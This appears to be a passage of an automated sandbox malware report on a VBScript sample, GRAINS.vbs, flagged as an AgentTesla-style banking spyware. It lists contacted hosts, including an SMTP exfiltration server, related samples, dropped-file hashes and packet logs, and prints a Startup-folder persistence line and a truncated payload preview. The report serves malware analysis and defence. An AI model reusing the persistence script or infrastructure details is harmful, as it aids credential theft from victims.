http://ip-api.com	InstallUtil.exe, 00000006.00000002.1671199854.0000000002A71000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000002.2743831329.0000000002D8C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	GRAINS.vbs.exe, 00000004.00000002.1515150880.0000000005081000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.1671199854.0000000002A71000.00000004.00000800.00020000.00000000.sdmp, Xml.vbs.exe, 0000000C.00000002.1671358982.0000000004701000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000002.2743831329.0000000002D8C000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
208.95.112.1	ip-api.com	United States		53334	TUT-ASUS	false
163.44.198.71	nffplp.com	Singapore		135161	GMO-Z-COM-THGMO-ZcomNetDesignHoldingsCoLtdSG	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1556595
Start date and time:	2024-11-15 17:28:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 40s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	GRAINS.vbs
Detection:	MAL
Classification:	mal100.bank.troj.spyw.expl.evad.winVBS@18/9@2/2
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 95% Number of executed functions: 490 Number of non-executed functions: 25
Cookbook Comments:	Found application associated with file extension: .vbs

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target Xml.vbs.exe, PID 4884 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
VT rate limit hit for: GRAINS.vbs

Simulations

Behavior and APIs

Time	Type	Description
11:29:09	API Interceptor	19x Sleep call for process: GRAINS.vbs.exe modified
11:29:14	API Interceptor	1791292x Sleep call for process: InstallUtil.exe modified
11:29:24	API Interceptor	17x Sleep call for process: Xml.vbs.exe modified
17:29:12	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xml.vbs

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
208.95.112.1	SAMPLE_PHOTO.js	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	RuntimeusererVers.exe	Get hash	malicious	Python Stealer	Browse	ip-api.com/json
	HeilHitler.exe	Get hash	malicious	Blank Grabber	Browse	ip-api.com/json/?fields=225545
	akame.exe	Get hash	malicious	Blank Grabber	Browse	ip-api.com/line/?fields=hosting
	HBL,MBL CN MBL NO.OOLU274.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	8Hd0ZExgJz.exe	Get hash	malicious	Blank Grabber, Umbral Stealer, XWorm	Browse	ip-api.com/line/?fields=hosting
	(#U0130TOSAM) 11 KASIM 2024 HAFTALIK EKONOM#U0130 B#U00dcLTEN#U0130.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	file.exe	Get hash	malicious	Clipboard Hijacker	Browse	ip-api.com/line/
	file.exe	Get hash	malicious	Clipboard Hijacker	Browse	ip-api.com/line/
	https://storage.googleapis.com/windows_bucket1/turbo/download/TurboVPN_setup.exe	Get hash	malicious	Unknown	Browse	ip-api.com/json
163.44.198.71	Halkbank_Ekstre.exe	Get hash	malicious	AgentTesla	Browse
	PRODUCT-PICTURE.bat	Get hash	malicious	AgentTesla	Browse
	ilZhNx3JAc.bat	Get hash	malicious	AgentTesla	Browse
	87M9Y3P4Z7.bat	Get hash	malicious	AgentTesla	Browse
	nDHL_AWB_6078538091_scr.exe	Get hash	malicious	AgentTesla	Browse
	IDR-500000000.scr.exe	Get hash	malicious	AgentTesla	Browse
	Payment-Details.scr.exe	Get hash	malicious	AgentTesla	Browse
	Outward Remittance_Payment Receipt.exe	Get hash	malicious	AgentTesla	Browse
	SOA Payment for June 30th.exe	Get hash	malicious	AgentTesla	Browse
	US00061Q0904081THBKK.exe	Get hash	malicious	AgentTesla	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
nffplp.com	Halkbank_Ekstre.exe	Get hash	malicious	AgentTesla	Browse	163.44.198.71
	PRODUCT-PICTURE.bat	Get hash	malicious	AgentTesla	Browse	163.44.198.71
	ilZhNx3JAc.bat	Get hash	malicious	AgentTesla	Browse	163.44.198.71
	87M9Y3P4Z7.bat	Get hash	malicious	AgentTesla	Browse	163.44.198.71
	nDHL_AWB_6078538091_scr.exe	Get hash	malicious	AgentTesla	Browse	163.44.198.71
	IDR-500000000.scr.exe	Get hash	malicious	AgentTesla	Browse	163.44.198.71
	Payment-Details.scr.exe	Get hash	malicious	AgentTesla	Browse	163.44.198.71
	Outward Remittance_Payment Receipt.exe	Get hash	malicious	AgentTesla	Browse	163.44.198.71
	SOA Payment for June 30th.exe	Get hash	malicious	AgentTesla	Browse	163.44.198.71
	US00061Q0904081THBKK.exe	Get hash	malicious	AgentTesla	Browse	163.44.198.71
ip-api.com	SAMPLE_PHOTO.js	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	RuntimeusererVers.exe	Get hash	malicious	Python Stealer	Browse	208.95.112.1
	HeilHitler.exe	Get hash	malicious	Blank Grabber	Browse	208.95.112.1
	akame.exe	Get hash	malicious	Blank Grabber	Browse	208.95.112.1
	HBL,MBL CN MBL NO.OOLU274.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	8Hd0ZExgJz.exe	Get hash	malicious	Blank Grabber, Umbral Stealer, XWorm	Browse	208.95.112.1
	(#U0130TOSAM) 11 KASIM 2024 HAFTALIK EKONOM#U0130 B#U00dcLTEN#U0130.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	file.exe	Get hash	malicious	Clipboard Hijacker	Browse	208.95.112.1
	file.exe	Get hash	malicious	Clipboard Hijacker	Browse	208.95.112.1
	https://storage.googleapis.com/windows_bucket1/turbo/download/TurboVPN_setup.exe	Get hash	malicious	Unknown	Browse	208.95.112.1

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
GMO-Z-COM-THGMO-ZcomNetDesignHoldingsCoLtdSG	Halkbank_Ekstre.exe	Get hash	malicious	AgentTesla	Browse	163.44.198.71
	https://t.ly/UEfhC	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	163.44.198.45
	PRODUCT-PICTURE.bat	Get hash	malicious	AgentTesla	Browse	163.44.198.71
	ilZhNx3JAc.bat	Get hash	malicious	AgentTesla	Browse	163.44.198.71
	87M9Y3P4Z7.bat	Get hash	malicious	AgentTesla	Browse	163.44.198.71
	https://chilltalk.co.th/sg/societalgenerale/	Get hash	malicious	Unknown	Browse	163.44.198.45
	nDHL_AWB_6078538091_scr.exe	Get hash	malicious	AgentTesla	Browse	163.44.198.71
	https://16883719-16-20211227182314.webstarterz.com/hdfckychdfclog/index.php	Get hash	malicious	Unknown	Browse	150.95.98.21
	islHUvTZcI.exe	Get hash	malicious	GuLoader	Browse	118.27.130.234
	islHUvTZcI.exe	Get hash	malicious	GuLoader	Browse	118.27.130.234
TUT-ASUS	https://t.ly/-kxCO	Get hash	malicious	Braodo	Browse	208.95.112.1
	SAMPLE_PHOTO.js	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	RuntimeusererVers.exe	Get hash	malicious	Python Stealer	Browse	208.95.112.1
	HeilHitler.exe	Get hash	malicious	Blank Grabber	Browse	208.95.112.1
	akame.exe	Get hash	malicious	Blank Grabber	Browse	208.95.112.1
	HBL,MBL CN MBL NO.OOLU274.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	8Hd0ZExgJz.exe	Get hash	malicious	Blank Grabber, Umbral Stealer, XWorm	Browse	208.95.112.1
	(#U0130TOSAM) 11 KASIM 2024 HAFTALIK EKONOM#U0130 B#U00dcLTEN#U0130.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	file.exe	Get hash	malicious	Clipboard Hijacker	Browse	208.95.112.1
	file.exe	Get hash	malicious	Clipboard Hijacker	Browse	208.95.112.1

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Roaming\Xml.vbs.exe	PRODUCT-PICTURE.bat	Get hash	malicious	AgentTesla	Browse
	Fattura-24SC-99245969925904728562.vbs	Get hash	malicious	Discord Token Stealer	Browse
	ilZhNx3JAc.bat	Get hash	malicious	AgentTesla	Browse
	87M9Y3P4Z7.bat	Get hash	malicious	AgentTesla	Browse
	ip4.cmd	Get hash	malicious	Unknown	Browse
	https://mariculturasalinas.com/za/zap/enter.php	Get hash	malicious	Unknown	Browse
	849128312.cmd	Get hash	malicious	Unknown	Browse
	Tracking#1Z379W410424496200.vbs	Get hash	malicious	AgentTesla	Browse
	Rechnung0192839182.pdf	Get hash	malicious	Unknown	Browse
	Rechnung-62671596778856538170.vbs	Get hash	malicious	PureLog Stealer	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2dljac4g.qgj.ps1

Download File

Process:	C:\Users\user\AppData\Roaming\Xml.vbs.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2tqwlt5j.ehv.psm1

Download File

Process:	C:\Users\user\AppData\Roaming\Xml.vbs.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_anavwtxy.iac.psm1

Download File

Process:	C:\Users\user\Desktop\GRAINS.vbs.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rmzk02se.g0z.ps1

Download File

Process:	C:\Users\user\Desktop\GRAINS.vbs.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xml.vbs

Download File

Process:	C:\Users\user\Desktop\GRAINS.vbs.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	79
Entropy (8bit):	4.778420071417382
Encrypted:	false
SSDEEP:	3:FER/n0eFHHoCHyg4EaKC5+E:FER/lFHICHhJaZ5+E
MD5:	0B7815FC8038DB081DFCDE9EDE28C1D0
SHA1:	481B5CFECC5361804B9BB7109CC3D2B1EFC90D79
SHA-256:	E881DAE283C324877B1F32EF864A051E1918C38A647F1F9E10B47E7030F62345
SHA-512:	25667150F8B9B23CC03FEB116D5656277021E51F6A2C6E730CF62EFF08C35FA23C13B5ADDD2D62079C2ACB6D7DE22EEB5BF4A705F1B785C14544204B71CBA7C6
Malicious:	true
Preview:	CreateObject("WScript.Shell").Run """C:\Users\user\AppData\Roaming\Xml.vbs"""

C:\Users\user\AppData\Roaming\Xml.vbs

Download File

Process:	C:\Users\user\Desktop\GRAINS.vbs.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	2358061
Entropy (8bit):	6.400329657613826
Encrypted:	false
SSDEEP:	49152:B20hVNq/RiQ4N+jRDSBTUxaWA/ZUgHYuhEBprt6:P+U
MD5:	4BB2F623B8E05072ED01E7FD0E9A4E28
SHA1:	B53851E2FB8D9DA46D05C813DA5612A04E72242F
SHA-256:	929FBEE164997CE91EDDDFA6EAE72CAD7AFD11955480D2582BFDC964505CCEA2
SHA-512:	B2740378D3D52935E8B3E52A6C4C74928DE678DBF449A08796E2467CEF341B03FE755132B4AAF4FA4A63428854A42749584ACF779EFCE4340AB9C22CFCA1E607
Malicious:	true
Preview:	REM wmO07SWb3JjnRUlPG+bvgJ+G+M/6zucJiYFiVA+HJmzIUKrx218TM9SW11jkE/wA1YZQFIs8cvR7qmSkOIeJXx7dhso8/aRAc8T6ZPaPJHWEYn+INhLgjN22dTH6b/pMDHc5B40xxNjiEKHHQg7964XvH9YIASkM/PnthYdzRQTJrVd+VR3oUp6npSZxGUnOuImrC08kQwtOLQqTRD5Qb8qc/ZS3fpZoBsw3YVsCm+OvHsz9yDq0pWpLLygSVQ5gVjZb1By1FzrzQgWD7OGwS5En4yZyUqeQ6Fcpa09tVbC91wokp8fG+geSCoU1MLiIm+OX6nLo7gSPyuvEi6vrhu1UxhXXi6TKYOgf30ghW7ieoc9r1Wo+1ekGldzbAm5bp4OX4GqjsRA/zYqJyQ68bW8zJercf7CCFfAr0fbH7l56wzjEinpO+/C/KwjgtQvbSSdtqNyEfifSFMt5eOAad94rDgXW+OP15Cr5HFSnomDkUIfOWkWC9kUQ8XWv1IIQpbMqtaYGBFFEeMSyimLSKnJqlCdYTB2ZqRjAxQZtRQ+n6Xegfe263ks2ieKB0GviPccCREBbuFmWkAuNRj9K1jK0CqHqMq2FsLXbIcI7GNmt3Yc/agHPTDEeCuzhLJgM67KvzcXK+AsZfZOKf5aWW3gy4Gi3C2ww5L5wzCfApIMdzzYQi0oT4uV8Je1tRMyaiK90rksvVd9GfugHWSvkWdkPbbBfhs8tHv2COuZ+w6Dx1UR3TPU37XlWyQxiDIm5mMsUXdccOwHfRo9OrRr5x7tIFoTnbA3k2H82CbzDyxJ0yKIaamXI1JpCmAZl6UBeXAJQGfUF0iy+L4VX5TFFHHp92uR43l1Vf0HppdQGfu4/2Ky6crEdb/Z2Wzrgce5p/HuL6A9c5n6k+pqzGy1Yt7GXGA2Ei6nIYGrtAoIidQ1TgKhYepbe4vIuFXgXaVPJHqSJSFnh5HHSw4ekbuT7goSMYJqE/z0auDUb

C:\Users\user\AppData\Roaming\Xml.vbs.exe

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	433152
Entropy (8bit):	5.502549953174867
Encrypted:	false
SSDEEP:	6144:MF45pGVc4sqEoWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:95pGVcwW2KXzJ4pdd3klnnWosPhnzq
MD5:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
SHA1:	F5EE89BB1E4A0B1C3C7F1E8D05D0677F2B2B5919
SHA-256:	73A3C4AEF5DE385875339FC2EB7E58A9E8A47B6161BDC6436BF78A763537BE70
SHA-512:	6E43DCA1B92FAACE0C910CBF9308CF082A38DD39DA32375FAD72D6517DEA93E944B5E5464CF3C69A61EABF47B2A3E5AA014D6F24EFA1A379D4C81C32FA39DDBC
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: PRODUCT-PICTURE.bat, Detection: malicious, Browse Filename: Fattura-24SC-99245969925904728562.vbs, Detection: malicious, Browse Filename: ilZhNx3JAc.bat, Detection: malicious, Browse Filename: 87M9Y3P4Z7.bat, Detection: malicious, Browse Filename: ip4.cmd, Detection: malicious, Browse Filename: , Detection: malicious, Browse Filename: 849128312.cmd, Detection: malicious, Browse Filename: Tracking#1Z379W410424496200.vbs, Detection: malicious, Browse Filename: Rechnung0192839182.pdf, Detection: malicious, Browse Filename: Rechnung-62671596778856538170.vbs, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......".z.fg..fg..fg..x5..dg..o...lg..r...eg..r...}g..fg...g..r...cg..r...og..r...ng..r..gg..r...gg..Richfg..........................PE..L...s/.0..........................................@......................................@...... ...........................".......0...}......................\|....I..T............................................ ...............................text...\........................... ..`.data...8...........................@....idata....... ......................@..@.rsrc....}...0...~..................@..@.reloc..\|...........................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Xml.vbs:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\GRAINS.vbs.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\Desktop\GRAINS.vbs.exe

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	433152
Entropy (8bit):	5.502549953174867
Encrypted:	false
SSDEEP:	6144:MF45pGVc4sqEoWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:95pGVcwW2KXzJ4pdd3klnnWosPhnzq
MD5:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
SHA1:	F5EE89BB1E4A0B1C3C7F1E8D05D0677F2B2B5919
SHA-256:	73A3C4AEF5DE385875339FC2EB7E58A9E8A47B6161BDC6436BF78A763537BE70
SHA-512:	6E43DCA1B92FAACE0C910CBF9308CF082A38DD39DA32375FAD72D6517DEA93E944B5E5464CF3C69A61EABF47B2A3E5AA014D6F24EFA1A379D4C81C32FA39DDBC
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......".z.fg..fg..fg..x5..dg..o...lg..r...eg..r...}g..fg...g..r...cg..r...og..r...ng..r..gg..r...gg..Richfg..........................PE..L...s/.0..........................................@......................................@...... ...........................".......0...}......................\|....I..T............................................ ...............................text...\........................... ..`.data...8...........................@....idata....... ......................@..@.rsrc....}...0...~..................@..@.reloc..\|...........................@..B........................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	ASCII text, with very long lines (65536), with no line terminators
Entropy (8bit):	6.400329657613826
TrID:
File name:	GRAINS.vbs
File size:	2'358'061 bytes
MD5:	4bb2f623b8e05072ed01e7fd0e9a4e28
SHA1:	b53851e2fb8d9da46d05c813da5612a04e72242f
SHA256:	929fbee164997ce91edddfa6eae72cad7afd11955480d2582bfdc964505ccea2
SHA512:	b2740378d3d52935e8b3e52a6c4c74928de678dbf449a08796e2467cef341b03fe755132b4aaf4fa4a63428854a42749584acf779efce4340ab9c22cfca1e607
SSDEEP:	49152:B20hVNq/RiQ4N+jRDSBTUxaWA/ZUgHYuhEBprt6:P+U
TLSH:	5CB501621E20EE89B788753D7EAC2550C3E4EE7B2C77DA505293EB9E477A9400720F71
File Content Preview:	REM wmO07SWb3JjnRUlPG+bvgJ+G+M/6zucJiYFiVA+HJmzIUKrx218TM9SW11jkE/wA1YZQFIs8cvR7qmSkOIeJXx7dhso8/aRAc8T6ZPaPJHWEYn+INhLgjN22dTH6b/pMDHc5B40xxNjiEKHHQg7964XvH9YIASkM/PnthYdzRQTJrVd+VR3oUp6npSZxGUnOuImrC08kQwtOLQqTRD5Qb8qc/ZS3fpZoBsw3YVsCm+OvHsz9yDq0pWpLLyg

File Icon


Icon Hash:	68d69b8f86ab9a86

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 15, 2024 17:29:13.987524033 CET	49705	80	192.168.2.8	208.95.112.1
Nov 15, 2024 17:29:13.992517948 CET	80	49705	208.95.112.1	192.168.2.8
Nov 15, 2024 17:29:13.992619991 CET	49705	80	192.168.2.8	208.95.112.1
Nov 15, 2024 17:29:13.993649006 CET	49705	80	192.168.2.8	208.95.112.1
Nov 15, 2024 17:29:13.998956919 CET	80	49705	208.95.112.1	192.168.2.8
Nov 15, 2024 17:29:14.624280930 CET	80	49705	208.95.112.1	192.168.2.8
Nov 15, 2024 17:29:14.666899920 CET	49705	80	192.168.2.8	208.95.112.1
Nov 15, 2024 17:29:15.731193066 CET	49706	587	192.168.2.8	163.44.198.71
Nov 15, 2024 17:29:15.736200094 CET	587	49706	163.44.198.71	192.168.2.8
Nov 15, 2024 17:29:15.738137007 CET	49706	587	192.168.2.8	163.44.198.71
Nov 15, 2024 17:29:17.182677984 CET	587	49706	163.44.198.71	192.168.2.8
Nov 15, 2024 17:29:17.183047056 CET	49706	587	192.168.2.8	163.44.198.71
Nov 15, 2024 17:29:17.187973976 CET	587	49706	163.44.198.71	192.168.2.8
Nov 15, 2024 17:29:17.553499937 CET	587	49706	163.44.198.71	192.168.2.8
Nov 15, 2024 17:29:17.553700924 CET	49706	587	192.168.2.8	163.44.198.71
Nov 15, 2024 17:29:17.558792114 CET	587	49706	163.44.198.71	192.168.2.8
Nov 15, 2024 17:29:17.926898003 CET	587	49706	163.44.198.71	192.168.2.8
Nov 15, 2024 17:29:17.963340044 CET	49706	587	192.168.2.8	163.44.198.71
Nov 15, 2024 17:29:17.968193054 CET	587	49706	163.44.198.71	192.168.2.8
Nov 15, 2024 17:29:18.351408958 CET	587	49706	163.44.198.71	192.168.2.8
Nov 15, 2024 17:29:18.351567030 CET	587	49706	163.44.198.71	192.168.2.8
Nov 15, 2024 17:29:18.351593018 CET	587	49706	163.44.198.71	192.168.2.8
Nov 15, 2024 17:29:18.352119923 CET	49706	587	192.168.2.8	163.44.198.71
Nov 15, 2024 17:29:18.408401012 CET	49706	587	192.168.2.8	163.44.198.71
Nov 15, 2024 17:29:18.487035990 CET	49706	587	192.168.2.8	163.44.198.71
Nov 15, 2024 17:29:18.491992950 CET	587	49706	163.44.198.71	192.168.2.8
Nov 15, 2024 17:29:18.857989073 CET	587	49706	163.44.198.71	192.168.2.8
Nov 15, 2024 17:29:18.874699116 CET	49706	587	192.168.2.8	163.44.198.71
Nov 15, 2024 17:29:18.880036116 CET	587	49706	163.44.198.71	192.168.2.8
Nov 15, 2024 17:29:19.246483088 CET	587	49706	163.44.198.71	192.168.2.8
Nov 15, 2024 17:29:19.247827053 CET	49706	587	192.168.2.8	163.44.198.71
Nov 15, 2024 17:29:19.252728939 CET	587	49706	163.44.198.71	192.168.2.8
Nov 15, 2024 17:29:19.618556976 CET	587	49706	163.44.198.71	192.168.2.8
Nov 15, 2024 17:29:19.618895054 CET	49706	587	192.168.2.8	163.44.198.71
Nov 15, 2024 17:29:19.623749971 CET	587	49706	163.44.198.71	192.168.2.8
Nov 15, 2024 17:29:20.027887106 CET	587	49706	163.44.198.71	192.168.2.8
Nov 15, 2024 17:29:20.028192997 CET	49706	587	192.168.2.8	163.44.198.71
Nov 15, 2024 17:29:20.033006907 CET	587	49706	163.44.198.71	192.168.2.8
Nov 15, 2024 17:29:20.398032904 CET	587	49706	163.44.198.71	192.168.2.8
Nov 15, 2024 17:29:20.398272991 CET	49706	587	192.168.2.8	163.44.198.71
Nov 15, 2024 17:29:20.403083086 CET	587	49706	163.44.198.71	192.168.2.8
Nov 15, 2024 17:29:21.252444029 CET	587	49706	163.44.198.71	192.168.2.8
Nov 15, 2024 17:29:21.252710104 CET	49706	587	192.168.2.8	163.44.198.71
Nov 15, 2024 17:29:21.257535934 CET	587	49706	163.44.198.71	192.168.2.8
Nov 15, 2024 17:29:21.622179985 CET	587	49706	163.44.198.71	192.168.2.8
Nov 15, 2024 17:29:21.622792959 CET	49706	587	192.168.2.8	163.44.198.71
Nov 15, 2024 17:29:21.622878075 CET	49706	587	192.168.2.8	163.44.198.71
Nov 15, 2024 17:29:21.622899055 CET	49706	587	192.168.2.8	163.44.198.71
Nov 15, 2024 17:29:21.623135090 CET	49706	587	192.168.2.8	163.44.198.71
Nov 15, 2024 17:29:21.627722979 CET	587	49706	163.44.198.71	192.168.2.8
Nov 15, 2024 17:29:21.627737999 CET	587	49706	163.44.198.71	192.168.2.8
Nov 15, 2024 17:29:21.627752066 CET	587	49706	163.44.198.71	192.168.2.8
Nov 15, 2024 17:29:21.627921104 CET	587	49706	163.44.198.71	192.168.2.8
Nov 15, 2024 17:29:21.998178005 CET	587	49706	163.44.198.71	192.168.2.8
Nov 15, 2024 17:29:22.041918039 CET	49706	587	192.168.2.8	163.44.198.71
Nov 15, 2024 17:29:29.039488077 CET	49712	80	192.168.2.8	208.95.112.1
Nov 15, 2024 17:29:29.044775009 CET	80	49712	208.95.112.1	192.168.2.8
Nov 15, 2024 17:29:29.044895887 CET	49712	80	192.168.2.8	208.95.112.1
Nov 15, 2024 17:29:29.045109987 CET	49712	80	192.168.2.8	208.95.112.1
Nov 15, 2024 17:29:29.049988985 CET	80	49712	208.95.112.1	192.168.2.8
Nov 15, 2024 17:29:29.656028032 CET	80	49712	208.95.112.1	192.168.2.8
Nov 15, 2024 17:29:29.698256016 CET	49712	80	192.168.2.8	208.95.112.1
Nov 15, 2024 17:29:30.296449900 CET	49713	587	192.168.2.8	163.44.198.71
Nov 15, 2024 17:29:30.301445961 CET	587	49713	163.44.198.71	192.168.2.8
Nov 15, 2024 17:29:30.301553965 CET	49713	587	192.168.2.8	163.44.198.71
Nov 15, 2024 17:29:31.366718054 CET	587	49713	163.44.198.71	192.168.2.8
Nov 15, 2024 17:29:31.366936922 CET	49713	587	192.168.2.8	163.44.198.71
Nov 15, 2024 17:29:31.371817112 CET	587	49713	163.44.198.71	192.168.2.8
Nov 15, 2024 17:29:31.664258003 CET	49705	80	192.168.2.8	208.95.112.1
Nov 15, 2024 17:29:31.664258003 CET	49706	587	192.168.2.8	163.44.198.71
Nov 15, 2024 17:29:31.720482111 CET	587	49713	163.44.198.71	192.168.2.8
Nov 15, 2024 17:29:31.721385002 CET	49713	587	192.168.2.8	163.44.198.71
Nov 15, 2024 17:29:31.726145983 CET	587	49713	163.44.198.71	192.168.2.8
Nov 15, 2024 17:29:32.076986074 CET	587	49713	163.44.198.71	192.168.2.8
Nov 15, 2024 17:29:32.080581903 CET	49713	587	192.168.2.8	163.44.198.71
Nov 15, 2024 17:29:32.085364103 CET	587	49713	163.44.198.71	192.168.2.8
Nov 15, 2024 17:29:32.474926949 CET	587	49713	163.44.198.71	192.168.2.8
Nov 15, 2024 17:29:32.474952936 CET	587	49713	163.44.198.71	192.168.2.8
Nov 15, 2024 17:29:32.474966049 CET	587	49713	163.44.198.71	192.168.2.8
